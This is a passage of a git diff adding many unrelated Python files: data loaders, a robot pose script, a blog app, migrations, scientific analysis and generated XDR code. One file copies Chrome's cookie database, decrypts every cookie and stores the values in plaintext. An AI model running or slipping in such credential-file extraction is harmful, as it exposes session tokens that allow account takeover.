those links into Set object. + E = Set() + for link in tree.iter("link"): + attrs = link.attrib + if int(attrs['target']) >= N or int(attrs['source'])>=N: + continue + E.add((int(attrs['target']), int(attrs['source']))) + + return Data(V, E, N) + + +# file path of netscience data set. +tree = ET.parse("/home/liwenzhe/workspace/SGRLDForMMSB/datasets/netscience.xml") + +f = open('netscience.txt', 'wb') + # iterate every link in the graph, and store those links into Set object. +for link in tree.iter("link"): + attrs = link.attrib + f.write(attrs['target']+"\t"+attrs['source']+"\n") +f.close() + \ No newline at end of file diff --git a/pool/shard008/Python/0077382_xlsx2db.py b/pool/shard008/Python/0077382_xlsx2db.py new file mode 100644 index 0000000000000000000000000000000000000000..4f1a51c4654a8aeb936e74672a5e1b0e0b7db52c --- /dev/null +++ b/pool/shard008/Python/0077382_xlsx2db.py @@ -0,0 +1,30 @@ + +from net.wyun.mer.ink.scg import Scg +from xlsx import Excel + +''' +process data/xlsx/hw_record.xlsx file, and save its record to DB +New data will be available in sql form. And it can be dumped into DB directly +''' + +class Excel2DB(object): + ''' + This class is used to dump the original scg data into a database. Because all these data has been + verified for its latex output. So the processed flag is set to 1 + ''' + + def __init__(self, dbBatch, xlsx_file_path ='data/scg/test.xlsx'): + self.excel = Excel(xlsx_file_path) + self.dbBatch = dbBatch + + def saveScg2db(self, scg): + hw_record = scg.id, scg.content, scg.response, 1, scg.request_at, scg.response_at + self.dbBatch.insert_hw_record(hw_record) + + def saveRow2db(self, row): + scg_id, scg_content, truth, req_at, resp_at = self.excel.get_scg_record(row) + if len(truth.strip()) == 0: + print '' + str(id) + ' ' + 'no latex\n' + return + scg = Scg(scg_id, scg_content, truth, req_at, resp_at) + self.saveScg2db(scg) diff --git a/pool/shard008/Python/0077383_decrypt-chrome-cookies.py b/pool/shard008/Python/0077383_decrypt-chrome-cookies.py new file mode 100644 index 0000000000000000000000000000000000000000..812c12fd2db1b40736cb53c46c9de7dfb0ce77bb --- /dev/null +++ b/pool/shard008/Python/0077383_decrypt-chrome-cookies.py @@ -0,0 +1,30 @@ +# Creation Credit: https://gist.github.com/DakuTree/428e5b737306937628f2944fbfdc4ffc +from os import getenv +from getpass import getuser +from shutil import copyfile +import sqlite3 +import win32crypt # https://sourceforge.net/projects/pywin32/ + +# Copy Cookies to current folder +copyfile("C:/Documents and Settings/" + getuser() + "/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies", './Cookies') + +# Connect to the Database +conn = sqlite3.connect('./Cookies') +cursor = conn.cursor() + +# Get the results +cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies') +for host_key, name, value, encrypted_value in cursor.fetchall(): + # Decrypt the encrypted_value + decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode('utf-8') or value or 0 + + # Update the cookies with the decrypted value + # This also makes all session cookies persistent + cursor.execute('\ + UPDATE cookies SET value = ?\ + WHERE host_key = ?\ + AND name = ?', + (decrypted_value, host_key, name)); + +conn.commit() +conn.close() diff --git a/pool/shard008/Python/0077387_starting_pose.py b/pool/shard008/Python/0077387_starting_pose.py new file mode 100644 index 0000000000000000000000000000000000000000..33c2654eaab562128cf2e5c4941646c1002de40c --- /dev/null +++ b/pool/shard008/Python/0077387_starting_pose.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + + +# The purpose of this program is to +# set the robot in a working position, +# that is to say different from (0,0,0,0,0). + +import sys +import copy +import rospy +import moveit_commander +import moveit_msgs.msg +import geometry_msgs.msg + +from std_msgs.msg import String + +def starting_pose(): + rospy.sleep(20) + moveit_commander.roscpp_initialize(sys.argv) + rospy.init_node('move_to_starting_pose', + anonymous=True) + + robot = moveit_commander.RobotCommander() + + scene = moveit_commander.PlanningSceneInterface() + + group = moveit_commander.MoveGroupCommander("arm_gp") + + display_trajectory_publisher = rospy.Publisher( + '/move_group/display_planned_path', + moveit_msgs.msg.DisplayTrajectory) + + print "============ Waiting for RVIZ..." + + + pose_target = geometry_msgs.msg.Pose() + pose_target.orientation.x = 0.0 + pose_target.orientation.y = -1.0 + pose_target.orientation.z = 0.0 + pose_target.orientation.w = 0.0 + pose_target.position.x = 0.3 + pose_target.position.y = 0.0 + pose_target.position.z = 0.38 + group.set_pose_target(pose_target) + + group.go(wait=True) + + ## When finished shut down moveit_commander. + moveit_commander.roscpp_shutdown() + +if __name__=='__main__': + try: + starting_pose() + except rospy.ROSInterruptException: + pass + + + diff --git a/pool/shard008/Python/0077391_bacheca.py b/pool/shard008/Python/0077391_bacheca.py new file mode 100644 index 0000000000000000000000000000000000000000..b41ed374c64bbaf376f2d80aedc81fbcfa67c92e --- /dev/null +++ b/pool/shard008/Python/0077391_bacheca.py @@ -0,0 +1,140 @@ +#!/usr/local/bin/python +# -*- coding: utf-8 -*- + +import base +from models import Post, Comment +from google.appengine.api import users, images, memcache +from google.appengine.ext import ndb, blobstore +from google.appengine.ext.webapp import blobstore_handlers + + +class FeedHandler(base.BaseHandler): + def get(self): + posts = Post.query(Post.published == True).order(-Post.create) + values = { + 'posts': posts.fetch(10), + 'update': posts.get().create, + } + self.response.headers['Content-Type'] = 'application/xml' + self.generate('bacheca/atom.xml', values) + + +class HomePage(base.BaseHandler): + def get(self): + cursor = self.request.get('c') + c = ndb.Cursor(urlsafe=cursor) + qry = Post.query(Post.published == True).order(-Post.create) + posts, next_curs, more = qry.fetch_page(10, start_cursor=c) + if more and next_curs: + next_c = next_curs.urlsafe() + else: + next_c = None + values = {'posts': posts, 'c': next_c} + self.generate('bacheca/posts.html', values) + + +class DraftsPage(base.BaseHandler): + def get(self): + cursor = self.request.get('c') + c = ndb.Cursor(urlsafe=cursor) + qry = Post.query(Post.published == False).order(-Post.create) + posts, next_curs, more = qry.fetch_page(10, start_cursor=c) + if more and next_curs: + next_c = next_curs.urlsafe() + else: + next_c = None + values = {'posts': posts, 'c': next_c} + self.generate('bacheca/posts.html', values) + + +class PostPage(base.BaseHandler): + def get(self, post): + p = Post.get_by_id(int(post)) + if users.is_current_user_admin() or p.published: + self.generate('bacheca/post.html', {'p': p}) + else: + self.redirect('/') + + +class NewPost(base.BaseHandler): + def get(self): + p_key = Post(title='title', content='content').put() + self.redirect('/bacheca/admin/edit/%s' % p_key.id()) + + +class EditPost(base.BaseHandler): + def get(self, post): + p = Post.get_by_id(int(post)) + values = { + 'p': p, + 'upload_url': blobstore.create_upload_url('/bacheca/admin/upload'), + 'code': memcache.get('last_img') + } + self.generate('bacheca/edit.html', values) + + def post(self, post): + p = Post.get_by_id(int(post)) + p.title = self.request.get('title') + p.content = self.request.get('content') + p.put() + self.redirect(self.request.referer) + + +class AddComment(base.BaseHandler): + def post(self, post): + p = Post.get_by_id(int(post)) + Comment(post=p.key, + name=self.request.get('name'), + comment=self.request.get('comment')).put() + self.redirect('/bacheca/post/%s' % p.id) + + +class PublishPost(base.BaseHandler): + def get(self, post): + p = Post.get_by_id(int(post)) + if p.published == False: + import datetime + p.create = datetime.datetime.now() + p.published = True + else: + p.published = False + p.put() + self.redirect('/bacheca/post/%s' % p.id) + + +class DeletePost(base.BaseHandler): + def get(self, post): + p = Post.get_by_id(int(post)) + p.key.delete() + self.redirect('/bacheca/admin/') + + +class UploadHandler(blobstore_handlers.BlobstoreUploadHandler): + def post(self): + upload_files = self.get_uploads('file') + blob_info = upload_files[0] + img_url = images.get_serving_url(blob_info.key(), size=767, crop=False) + string = '' % img_url + memcache.set('last_img', string) + self.redirect(self.request.referer) + + +import webapp2 +from webapp2_extras import routes +app = webapp2.WSGIApplication([ + routes.RedirectRoute('/bacheca/', HomePage, name='Bacheca', strict_slash=True), + routes.RedirectRoute('/bacheca/admin/', DraftsPage, name='Admin', strict_slash=True), + routes.PathPrefixRoute('/bacheca', [ + webapp2.Route('/atom', FeedHandler), + webapp2.Route(r'/post/', PostPage), + webapp2.Route(r'/comment/', AddComment), + webapp2.Route('/admin/new', NewPost), + webapp2.Route('/admin/upload', UploadHandler), + webapp2.Route(r'/admin/edit/', EditPost), + webapp2.Route(r'/admin/publish/', PublishPost), + webapp2.Route(r'/admin/delete/', DeletePost), + ]), ], debug=base.debug) + + +if __name__ == "__main__": + app.run() diff --git a/pool/shard008/Python/0077393_0001_initial.py b/pool/shard008/Python/0077393_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..b02e2176447a6e867952f870328b09ddcbd7c774 --- /dev/null +++ b/pool/shard008/Python/0077393_0001_initial.py @@ -0,0 +1,56 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from __future__ import absolute_import +from django.db import migrations, models +import django.utils.timezone +from django.conf import settings +import model_utils.fields +from opaque_keys.edx.django.models import CourseKeyField + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ] + + operations = [ + migrations.CreateModel( + name='SurveyAnswer', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, verbose_name='created', editable=False)), + ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, verbose_name='modified', editable=False)), + ('field_name', models.CharField(max_length=255, db_index=True)), + ('field_value', models.CharField(max_length=1024)), + ('course_key', CourseKeyField(max_length=255, null=True, db_index=True)), + ], + options={ + 'abstract': False, + }, + ), + migrations.CreateModel( + name='SurveyForm', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, verbose_name='created', editable=False)), + ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, verbose_name='modified', editable=False)), + ('name', models.CharField(unique=True, max_length=255, db_index=True)), + ('form', models.TextField()), + ], + options={ + 'abstract': False, + }, + ), + migrations.AddField( + model_name='surveyanswer', + name='form', + field=models.ForeignKey(to='survey.SurveyForm', on_delete=models.CASCADE), + ), + migrations.AddField( + model_name='surveyanswer', + name='user', + field=models.ForeignKey(to=settings.AUTH_USER_MODEL, on_delete=models.CASCADE), + ), + ] diff --git a/pool/shard008/Python/0077395_backfill_graphite.py b/pool/shard008/Python/0077395_backfill_graphite.py new file mode 100644 index 0000000000000000000000000000000000000000..d79187da20fafaf85bcdf87733f6daaf5d1d79e4 --- /dev/null +++ b/pool/shard008/Python/0077395_backfill_graphite.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +import socket +import time +from datetime import datetime +from django.utils.timezone import utc +from django.core.management.base import BaseCommand, CommandError +import website +from website.utils import reporting +from website.utils.temporal_stats import normalize +from pprint import pprint + +def since_epoch(timestamp): + epoch = datetime.utcfromtimestamp(0).replace(tzinfo=utc) + return int((timestamp - epoch).total_seconds()) + +CARBON_SERVER = ('localhost', 2003) +base = ["solarpermit", "counters", "question"] +backfilling_msg = "%s: backfilling report %s for question %d with %d answers at %d distinct times" + +class Command(BaseCommand): + def handle(self, *args, **options): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect(CARBON_SERVER) + questions = website.models.Question.objects.all() + #questions = website.models.Question.objects.filter(pk=9) + print "%s: backfilling %d questions" % (datetime.now(), len(questions)) + jurisdiction_timestamps = set([j.create_datetime or j.modify_datetime + for j in website.models.Jurisdiction.objects.all() + if j.create_datetime is not None or + j.modify_datetime is not None]) + for q in questions: + answers = q.answerreference_set.all() + if not answers: + print "%s: not backfilling question %d, it has no answers" % (datetime.now(), q.id) + else: + # you might think we could just use + # reporting.update_reports, but that will report via + # statsd which wouldn't let us actually backfill + reports = reporting.get_reports(q) + for report in reports: + if 'name' in report: + timestamps = set([ans.create_datetime for ans in answers]) | \ + set([ans.modify_datetime for ans in answers]) + if report['name'] == 'coverage': + timestamps |= jurisdiction_timestamps + print backfilling_msg % (datetime.now(), report['name'], q.id, answers.count(), len(timestamps)) + last = None + for stamp in sorted(timestamps): + seconds = since_epoch(stamp) + start = int(seconds - (seconds % 10)) + end = start + 10 + current = reporting.run_report(q, report, before=stamp)['table'] + changes = differences(last, current) if last else current + for row in changes: + k = row['key'].lower() + v = row['value'] + if v is not None: + send(sock, base + [report['name'], q.id, k, "count"], v, end) + send(sock, base + [report['name'], q.id, k, "rate"], v / 10.0, end) + last = current + # yes, sleep. if we go too fast, carbon doesn't create all of the databases + time.sleep(30) + sock.close() + +def differences(last, current): + return [{ 'key': row['key'], + 'value': row['value'] - last[r]['value'] } + for (r, row) in enumerate(current)] + +def send(socket, name, value, timestamp): + name = ".".join([normalize(str(n)).lower() for n in name]) + msg = "%s %s %d\n" % (name, value, timestamp) + #print "%s: %s" % (datetime.now(), msg), + socket.sendall(msg) diff --git a/pool/shard008/Python/0077404_brackets.py b/pool/shard008/Python/0077404_brackets.py new file mode 100644 index 0000000000000000000000000000000000000000..17728779e4c1c2ceb3942948a04bd5cc01e3a2e8 --- /dev/null +++ b/pool/shard008/Python/0077404_brackets.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import math +import os +import random +import re +import sys + +# Complete the isBalanced function below. +def isBalanced(s): + opn = [] + enc = [] + enclosing = False + for c in s: + + if '{' == c or '[' == c or '(' == c: + opn.append(c) + enclosing = False + elif '}' == c or ']' == c or ')' == c: + enc.append(c) + enclosing = True + + if enclosing and len(opn) > 0 and len(enc) > 0: + t = opn[-1:][0] + if t == '{' and c == '}' or t == '[' and c == ']' or t == '(' and c == ')': + opn.pop() + enc.pop() + + return 'NO' if opn or enc else 'YES' + +if __name__ == '__main__': + fptr = open(os.environ['OUTPUT_PATH'], 'w') + t = int(input()) + for t_itr in range(t): + s = input() + result = isBalanced(s) + fptr.write(result + '\n') + fptr.close() diff --git a/pool/shard008/Python/0077405_case_insensitive_dict.py b/pool/shard008/Python/0077405_case_insensitive_dict.py new file mode 100644 index 0000000000000000000000000000000000000000..ffa06f3a3b7f4dea77cfa4727287151cf297083a --- /dev/null +++ b/pool/shard008/Python/0077405_case_insensitive_dict.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 +# Author: Emmanuel Odeke +# Case insensitive dictionary implementation + +def noop(*args, **kwargs): + raise ValueError('noop for this method') + +def is_callable_attr(obj, attr): + retr = getattr(obj, attr, None) + if retr is None: + return False + return hasattr(retr, '__call__') + +def generate_lowerer(obj, method_name): + def _f(self, key, *args, **kwargs): + if is_callable_attr(key, 'lower'): + key = key.lower() + + super_method = getattr(self.get_super(), method_name, noop) + return super_method(key, *args, **kwargs) + + return _f + +class CaseAgnosticDict(dict): + keyable_methods = ('__setitem__', '__getitem__', '__contains__', '__delitem__', 'pop',) + + def get_super(self): + return super(CaseAgnosticDict, self) + +ref = CaseAgnosticDict + +# Bind the methods +for method_name in ref.keyable_methods: + generated = generate_lowerer(ref, method_name) + setattr(ref, method_name, generated) + +def main(): + ca_dict = CaseAgnosticDict(dock=10) + ca_dict['Dock'] = 30 + assert ('dock' in ca_dict) == ('DOcK' in ca_dict), 'case insensitivity expected' + assert ca_dict.pop('DocK', 1000) == 30, 'expecting the set value' + assert len(ca_dict) == 0, 'all keys should have been popped' + ca_dict['10'] = 30 + ca_dict[10] = 30 + assert len(ca_dict) == 2, '2 unique insertions expected' + ca_dict[10] = 10 + assert ca_dict.get(10, 20) == 10, 'expecting 10 as the get result' + ca_dict[(10, 20,)] = 'ollo' + assert ca_dict.get((10, 20,), 'xram') == 'ollo', 'expecting "ollo" as the get result' + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077408_autoregressive_action_dist.py b/pool/shard008/Python/0077408_autoregressive_action_dist.py new file mode 100644 index 0000000000000000000000000000000000000000..07bbc90d749f25c47c147563288ebed331481efb --- /dev/null +++ b/pool/shard008/Python/0077408_autoregressive_action_dist.py @@ -0,0 +1,65 @@ +"""Example of specifying an autoregressive action distribution. + +In an action space with multiple components (e.g., Tuple(a1, a2)), you might +want a2 to be sampled based on the sampled value of a1, i.e., +a2_sampled ~ P(a2 | a1_sampled, obs). Normally, a1 and a2 would be sampled +independently. + +To do this, you need both a custom model that implements the autoregressive +pattern, and a custom action distribution class that leverages that model. +This examples shows both. +""" + +import argparse + +import ray +from ray import tune +from ray.rllib.examples.env.correlated_actions_env import CorrelatedActionsEnv +from ray.rllib.examples.models.autoregressive_action_model import \ + AutoregressiveActionModel, TorchAutoregressiveActionModel +from ray.rllib.examples.models.autoregressive_action_dist import \ + BinaryAutoregressiveDistribution, TorchBinaryAutoregressiveDistribution +from ray.rllib.models import ModelCatalog +from ray.rllib.utils.test_utils import check_learning_achieved + +parser = argparse.ArgumentParser() +parser.add_argument("--run", type=str, default="PPO") # try PG, PPO, IMPALA +parser.add_argument("--torch", action="store_true") +parser.add_argument("--num-cpus", type=int, default=0) +parser.add_argument("--as-test", action="store_true") +parser.add_argument("--stop-iters", type=int, default=200) +parser.add_argument("--stop-timesteps", type=int, default=100000) +parser.add_argument("--stop-reward", type=float, default=200) + +if __name__ == "__main__": + args = parser.parse_args() + ray.init(num_cpus=args.num_cpus or None) + ModelCatalog.register_custom_model( + "autoregressive_model", TorchAutoregressiveActionModel + if args.torch else AutoregressiveActionModel) + ModelCatalog.register_custom_action_dist( + "binary_autoreg_dist", TorchBinaryAutoregressiveDistribution + if args.torch else BinaryAutoregressiveDistribution) + + config = { + "env": CorrelatedActionsEnv, + "gamma": 0.5, + "num_gpus": 0, + "model": { + "custom_model": "autoregressive_model", + "custom_action_dist": "binary_autoreg_dist", + }, + "framework": "torch" if args.torch else "tf", + } + + stop = { + "training_iteration": args.stop_iters, + "timesteps_total": args.stop_timesteps, + "episode_reward_mean": args.stop_reward, + } + + results = tune.run(args.run, stop=stop, config=config) + + if args.as_test: + check_learning_achieved(results, args.stop_reward) + ray.shutdown() diff --git a/pool/shard008/Python/0077410_resolve.py b/pool/shard008/Python/0077410_resolve.py new file mode 100644 index 0000000000000000000000000000000000000000..d323b0f7c00e93512279b67f9f7aa36ffd6b51a2 --- /dev/null +++ b/pool/shard008/Python/0077410_resolve.py @@ -0,0 +1,63 @@ +import click +import os.path +import odooku + +from odooku.params import params + + +DEFAULT_ADDONS = [ + os.path.join(os.path.dirname(odooku.__file__), 'addons') +] + +def resolve_addons(ctx, param, value): + addons = value.split(',') + addons = list(set(addons) | set(DEFAULT_ADDONS) | set(params.addon_paths)) + return ','.join(addons) + + +def resolve_db_name(ctx, param, value): + from odoo.service.db import list_dbs + + config = ( + ctx.obj['config'] + ) + + dbs = config['db_name'].split(',') if config['db_name'] else None + if dbs is None: + dbs = list_dbs(True) + + if value: + if dbs is not None and value not in dbs: + raise click.BadParameter( + "No such db '%s'." % value + ) + return value + elif dbs is not None and len(dbs) == 1: + # Running in single db mode, safe to assume the db. + return dbs[0] + + raise click.BadParameter( + "no db name given." + ) + +def resolve_db_name_multiple(ctx, param, value): + from odoo.service.db import list_dbs + + config = ( + ctx.obj['config'] + ) + + dbs = config['db_name'].split(',') if config['db_name'] else None + if dbs is None: + dbs = list_dbs(True) + + if value: + invalid = [db for db in value if db not in dbs] + if invalid: + raise click.BadParameter( + "No such db '%s'." % invalid[0] + ) + + return value + + return dbs diff --git a/pool/shard008/Python/0077411_ree.py b/pool/shard008/Python/0077411_ree.py new file mode 100644 index 0000000000000000000000000000000000000000..d348da9acd8b7ac8750bb428a8c78330393c6470 --- /dev/null +++ b/pool/shard008/Python/0077411_ree.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python3 +# ver 0.1 - copy from rdf_itf.py (v0.1) and modify codes on 2/3/2018 + +import argparse +parser = argparse.ArgumentParser( + formatter_class=argparse.ArgumentDefaultsHelpFormatter, + description='calculation end-to-end distance of molecules you select') +## args +parser.add_argument('-i', '--input', default='traj.trr', nargs='?', + help='input trajectory file') +parser.add_argument('-s', '--structure', default='topol.tpr', nargs='?', + help='.tpr structure file') +parser.add_argument('-select1', '--select1', nargs='?', + help='selection of end1 of each molecule') +parser.add_argument('-select2', '--select2', nargs='?', + help='selection of end2 of each molecule') +parser.add_argument('-nmol', '--nmol', nargs='?', type=int, + help='# molecules') +parser.add_argument('-cutoff', '--cutoff', default=0.0, nargs='?', type=float, + help='cut-off checking distance between atoms in a molecule (d_cutoff < d_neighbor_atoms: stop)') +parser.add_argument('-b', '--begin', default=-1, nargs='?', type=int, + help='begining frame (-1: last half trajectory)') +parser.add_argument('-o', '--output', default='pol', nargs='?', + help='output prefix filename for Ree files (.ree)') +parser.add_argument('args', nargs=argparse.REMAINDER) +parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.1') +## read args +args = parser.parse_args() +## Check arguments for log +print(" input arguments: {0}".format(args)) + +## import modules +import sys +sys.path.append('/home/htjung/Utility/python/') +import hjung +from hjung import * +import MDAnalysis as mda +from MDAnalysis.analysis import distances +import numpy as np + +args.output = args.output + '.ree' + +## timer +start_proc, start_prof = hjung.time.init() + +## read files +u = mda.Universe(args.structure,args.input) +n_frames = len(u.trajectory) +if args.begin == -1: + skip_frames = int(n_frames/2) + print(" skip {} frames".format(skip_frames)) +else: + skip_frames = args.begin +if args.begin >= n_frames: + raise ValueError("wrong args.begin because of > n_frames") +n_frames = n_frames - skip_frames +#print("goal n_frames = {}".format(n_frames)) +atomtxt1 = open(args.select1).read() +atomtxt2 = open(args.select2).read() +print(" your selection1: {}".format(atomtxt1)) +print(" your selection2: {}".format(atomtxt2)) +#hjung.polymer.check_traj_connectivity(u,str(atomtxt),args.nmol,args.cutoff,'simple') + +## data setting +data_ree = np.zeros((n_frames,args.nmol)) +data_ree_vec = np.zeros((n_frames,args.nmol,3)) +select_mol1 = u.select_atoms(str(atomtxt1)) +select_mol2 = u.select_atoms(str(atomtxt2)) +if len(select_mol1)%args.nmol != 0: + raise ValueError("wrong # molecules, (args.nmol, select_mol) {} {} ".format(args.nmol, len(select_mol1))) +if len(select_mol2)%args.nmol != 0: + raise ValueError("wrong # molecules, (args.nmol, select_mol) {} {} ".format(args.nmol, len(select_mol2))) + +## read trajectory +i_frame = 0 +imod = hjung.time.process_init() +for ts in u.trajectory[skip_frames:]: + data_ree[i_frame] = distances.dist(select_mol1,select_mol2)[2] + #vec_tmp = select_mol2.positions - select_mol1.positions + #print(np.sqrt(np.sum(np.dot(vec_tmp[0],vec_tmp[0])))) + #print(data_ree[i_frame][0]) + data_ree_vec[i_frame] = select_mol2.positions - select_mol1.positions + i_frame = i_frame + 1 + imod = hjung.time.process_print(i_frame, n_frames, imod) +print("read total {} frames".format(i_frame)) + +# save raw rg data file +np.savetxt(args.output, data_ree, + header='Ree (mean = {} +- {} with {} frames'.format(np.mean(data_ree),np.std(data_ree),n_frames), fmt='%f', comments='# ') +np.save(args.output, data_ree) +print("Ree = {:.3f} +- {:.3f}".format(np.mean(data_ree),np.std(data_ree))) +print(" saved ree files") + +# ree.vec +np.save(args.output+str('.vec'), data_ree_vec.flatten()) + +# save avg file +data_ree_tavg = np.column_stack((np.mean(data_ree, axis=0),np.std(data_ree, axis=0))) +np.savetxt(args.output+'.tavg', data_ree_tavg, + header='averaged Ree for each molecule with {} frames'.format(n_frames), fmt='%f', comments='# ') +print(" saved average Ree files") + +## timer +hjung.time.end_print(start_proc, start_prof) \ No newline at end of file diff --git a/pool/shard008/Python/0077415_presidentielle.py b/pool/shard008/Python/0077415_presidentielle.py new file mode 100644 index 0000000000000000000000000000000000000000..fa3179b54e5ab2b103bbcc7cc618102958def2a1 --- /dev/null +++ b/pool/shard008/Python/0077415_presidentielle.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python +# -- Content-Encoding: UTF-8 -- +""" +Voting engine: Approbation vote + +The candidate with the most votes is elected + +:author: Thomas Calmant +:license: Apache Software License 2.0 +:version: 1.0.0 + +.. + + Copyright 2014 isandlaTech + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +""" + +# Module version +__version_info__ = (1, 0, 0) +__version__ = ".".join(str(x) for x in __version_info__) + +# Documentation strings format +__docformat__ = "restructuredtext en" + +# ------------------------------------------------------------------------------ + +# Voting system +import cohorte.vote +import cohorte.vote.beans as beans + +# iPOPO Decorators +from pelix.ipopo.decorators import ComponentFactory, Provides, Instantiate, \ + Property + +# Standard library +import logging +import math + +# ------------------------------------------------------------------------------ + +_logger = logging.getLogger(__name__) + +# ------------------------------------------------------------------------------ + + +@ComponentFactory() +@Provides(cohorte.vote.SERVICE_VOTE_ENGINE) +@Property('_kind', cohorte.vote.PROP_VOTE_KIND, 'presidentielle') +@Instantiate('vote-engine-presidentielle') +class PresidentielleFrEngine(object): + """ + Voting system core service + """ + def __init__(self): + """ + Sets up members + """ + # Supported kind of vote + self._kind = None + + def get_kind(self): + """ + Returns supported kind of vote + """ + return self._kind + + def get_options(self): + """ + Returns the options available for this engine + + :return: An option -> description dictionary + """ + return {} + + def analyze(self, vote_round, ballots, candidates, parameters, vote_bean): + """ + Analyzes the results of a vote + + :param vote_round: Round number (starts at 1) + :param ballots: All ballots of the vote + :param candidates: List of all candidates + :param parameters: Parameters for the vote engine + :param vote_bean: A VoteResults bean + :return: The candidate(s) with the most votes + """ + # Count the number of votes for each candidate + results = {} + for ballot in ballots: + try: + candidate = ballot.get_for()[0] + if candidate in candidates: + # In this kind of election, we can't have additional + # candidates + results[candidate] = results.get(candidate, 0) + 1 + except IndexError: + # Blank vote + continue + + # Store the results + results = vote_bean.set_results(results) + + # Compute the number of votes for absolute majority + nb_votes = sum(result[0] for result in results) + majority = math.floor(nb_votes / 2) + 1 + + if results[0][0] >= majority: + # We have a winner + return results[0][1] + else: + # We need a new round, with the two best candidates + raise beans.NextRound(result[1] for result in results[:2]) diff --git a/pool/shard008/Python/0077416_checkHostList.py b/pool/shard008/Python/0077416_checkHostList.py new file mode 100644 index 0000000000000000000000000000000000000000..e51470c7009475e902a73460cd45fa949b711f89 --- /dev/null +++ b/pool/shard008/Python/0077416_checkHostList.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python +################################################################################ +# UNCLASSIFIED # +################################################################################ +# +# checkLogIn.py +# +# Overview: +# Step through the machines in hostList.txt +# Execute ping in a loop to find 'live' machines. Then ssh into them and +# gather information about them by calling getBoxInfo.sh +# +# +################################################################################ + +import subprocess, os, sys, shutil, time + + +runDir = os.getcwd() +scriptName = 'getBoxInfo.sh' +scriptPath = os.path.join( runDir, scriptName ) + +outFileName = 'liveBoxData.txt' +outFilePath = os.path.join( runDir, outFileName ) + +if ( os.path.exists( outFileName) ): + os.remove( outFileName ); + + +with open( 'hostList.txt', 'r' ) as fp: + lines = fp.readlines() + +for line in lines: + lineList = line.split() + machineName = lineList[0] + print machineName + + test = True + try: + subprocess.check_output( ['ping', '-c1', '-w1', machineName] ) + except: + test = False + + if ( test ): + print 'live' + + fpNull = open( os.devnull ) + + cmd = ['ssh', machineName, scriptPath, outFilePath, ' &'] + proc = subprocess.Popen( cmd, cwd=runDir, stdout=fpNull, stderr=fpNull ) + + fpNull.close() + + time.sleep(0.2) + + else: + print 'No one home' + + + + +################################################################################ +# UNCLASSIFIED # +################################################################################ diff --git a/pool/shard008/Python/0077423_simple_time_series_plotter.py b/pool/shard008/Python/0077423_simple_time_series_plotter.py new file mode 100644 index 0000000000000000000000000000000000000000..bdd9af1e9f148fec0d6219ed4f6247c271236a3e --- /dev/null +++ b/pool/shard008/Python/0077423_simple_time_series_plotter.py @@ -0,0 +1,35 @@ +#TSTOP +# +#This program is free software: you can redistribute it and/or modify +#it under the terms of the GNU General Public License as published by +#the Free Software Foundation, either version 3 of the License, or +#(at your option) any later version. +# +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +#GNU General Public License for more details. +# +#You should have received a copy of the GNU General Public License +#along with this program. If not, see . + + +import math +import sys +import csv +import os +import colorsys + +import matplotlib.pyplot as plt +import numpy as np + +if(len(sys.argv) < 2): + print 'insufficient args' + sys.exit(1) + +time_series_file = open(sys.argv[1],'r') +time_series_reader = csv.reader(time_series_file, delimiter=' ') +all_vals = np.array([[x[0],x[1]] for x in time_series_reader]) +plt.figure(figsize=(20,10)) +plt.plot(all_vals[:,1]) +plt.show() diff --git a/pool/shard008/Python/0077427_ledger_key_liquidity_pool.py b/pool/shard008/Python/0077427_ledger_key_liquidity_pool.py new file mode 100644 index 0000000000000000000000000000000000000000..4209f9567a7096cfd5d734b2f692229856451ecb --- /dev/null +++ b/pool/shard008/Python/0077427_ledger_key_liquidity_pool.py @@ -0,0 +1,67 @@ +# This is an automatically generated file. +# DO NOT EDIT or your changes may be overwritten +import base64 +from xdrlib import Packer, Unpacker + +from ..type_checked import type_checked +from .pool_id import PoolID + +__all__ = ["LedgerKeyLiquidityPool"] + + +@type_checked +class LedgerKeyLiquidityPool: + """ + XDR Source Code:: + + struct + { + PoolID liquidityPoolID; + } + """ + + def __init__( + self, + liquidity_pool_id: PoolID, + ) -> None: + self.liquidity_pool_id = liquidity_pool_id + + def pack(self, packer: Packer) -> None: + self.liquidity_pool_id.pack(packer) + + @classmethod + def unpack(cls, unpacker: Unpacker) -> "LedgerKeyLiquidityPool": + liquidity_pool_id = PoolID.unpack(unpacker) + return cls( + liquidity_pool_id=liquidity_pool_id, + ) + + def to_xdr_bytes(self) -> bytes: + packer = Packer() + self.pack(packer) + return packer.get_buffer() + + @classmethod + def from_xdr_bytes(cls, xdr: bytes) -> "LedgerKeyLiquidityPool": + unpacker = Unpacker(xdr) + return cls.unpack(unpacker) + + def to_xdr(self) -> str: + xdr_bytes = self.to_xdr_bytes() + return 